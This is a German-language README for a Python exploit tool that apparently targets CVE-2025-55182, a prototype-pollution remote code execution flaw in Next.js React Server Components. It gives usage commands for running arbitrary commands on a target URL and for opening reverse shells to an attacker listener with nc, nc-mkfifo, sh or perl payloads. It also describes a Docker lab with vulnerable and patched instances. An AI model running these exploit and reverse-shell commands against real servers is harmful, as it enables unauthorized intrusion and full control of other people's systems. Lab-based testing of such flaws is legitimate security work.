Next.js React Server Components RCE-Exploit

Nutzt CVE-2025-55182 für Remote-Codeausführung (RCE) durch Prototype Pollution aus.

Installation

uv sync

Verwendung

Befehlsausführung

source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"

Reverse Shell

python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo

Optionen

• -u, --url: Zu prüfende URL/Host (erforderlich)
• -c, --cmd: Auszuführender Befehl
• -r, --reverse: Reverse-Shell-Modus aktivieren
• -l, --lhost: Listener-Host für die Reverse Shell
• -p, --lport: Listener-Port für die Reverse Shell
• -P, --payload: Typ des Reverse-Shell-Payloads: nc, nc-mkfifo, sh, perl (Standard: nc)
• --timeout: Request-Timeout in Sekunden (Standard: 10)

Beispiele

# Execute command
python3 exploit.py -u https://example.com -c "whoami"

# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo

Laborumgebung

Das Verzeichnis lab/ enthält ein vollständiges Docker-Setup zum Testen des Exploits.

Einrichtung

cd lab
docker-compose up -d

Dabei werden zwei Dienste gestartet:

• vulnerable: Verwundbare Next.js-Anwendung auf Port 3011
• patched: Gepatchte Next.js-Anwendung auf Port 3012

Testen

# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"

# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo